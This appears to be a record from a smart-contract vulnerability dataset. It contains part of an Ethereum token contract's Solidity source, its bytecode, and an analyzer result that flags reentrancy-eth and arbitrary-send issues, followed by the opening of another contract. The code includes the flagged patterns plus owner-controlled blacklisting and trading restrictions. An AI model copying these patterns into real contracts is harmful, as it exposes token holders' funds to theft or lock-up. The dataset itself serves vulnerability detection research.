if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 12);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612edd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a00565b61045e565b6040516101789190612ec2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a3919061307f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b1565b61048d565b6040516101e09190612ec2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612923565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7d565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612923565b610783565b6040516102b1919061307f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df4565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612edd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a00565b61098d565b60405161035b9190612ec2565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3c565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612acf565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612975565b61121a565b604051610418919061307f565b60405180910390f35b60606040518060400160405280600981526020017f4261746d616e496e750000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fbf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fbf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fbf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4261746d616e496e750000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fbf565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613395565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fbf565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c519061303f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294c565b6040518363ffffffff1660e01b8152600401610e1f929190612e0f565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e61565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506729a2241af62c00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e38565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa6565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fbf565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f7f565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113109061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611467919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612fff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612eff565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fdf565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118359061305f565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612edd565b60405180910390fd5b5060008385611c8a9190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f1f565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294c565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309a565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323c565b905082848261212a919061320b565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612f9f565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612edd565b60405180910390fd5b506000838561226d919061320b565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125f9565b61240684836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612463919061307f565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125068a600854600c6126f0565b92509250925060006125166121ec565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f5f565b60405180910390fd5b8091505092915050565b60006126036121ec565b9050600061261a82846120fa90919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127466064612738888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120fa90919063ffffffff16565b905060006127b686896120fa90919063ffffffff16565b905060006127cd87896120fa90919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62602a836131a4565b9150612c6d826134cb565b604082019050919050565b6000612c856022836131a4565b9150612c908261351a565b604082019050919050565b6000612ca8601b836131a4565b9150612cb382613569565b602082019050919050565b6000612ccb601d836131a4565b9150612cd682613592565b602082019050919050565b6000612cee6021836131a4565b9150612cf9826135bb565b604082019050919050565b6000612d116020836131a4565b9150612d1c8261360a565b602082019050919050565b6000612d346029836131a4565b9150612d3f82613633565b604082019050919050565b6000612d576025836131a4565b9150612d6282613682565b604082019050919050565b6000612d7a6024836131a4565b9150612d85826136d1565b604082019050919050565b6000612d9d6017836131a4565b9150612da882613720565b602082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220907711be1635d4940344eb011bd5ea7bf5d7389dcf98b86b3a93de2b0dba049464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,718 |
0x38ac2d5f6a3eb5c79b44dbc8c0a028ab01c716de
|
/**
*Submitted for verification at Etherscan.io on 2021-08-30
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
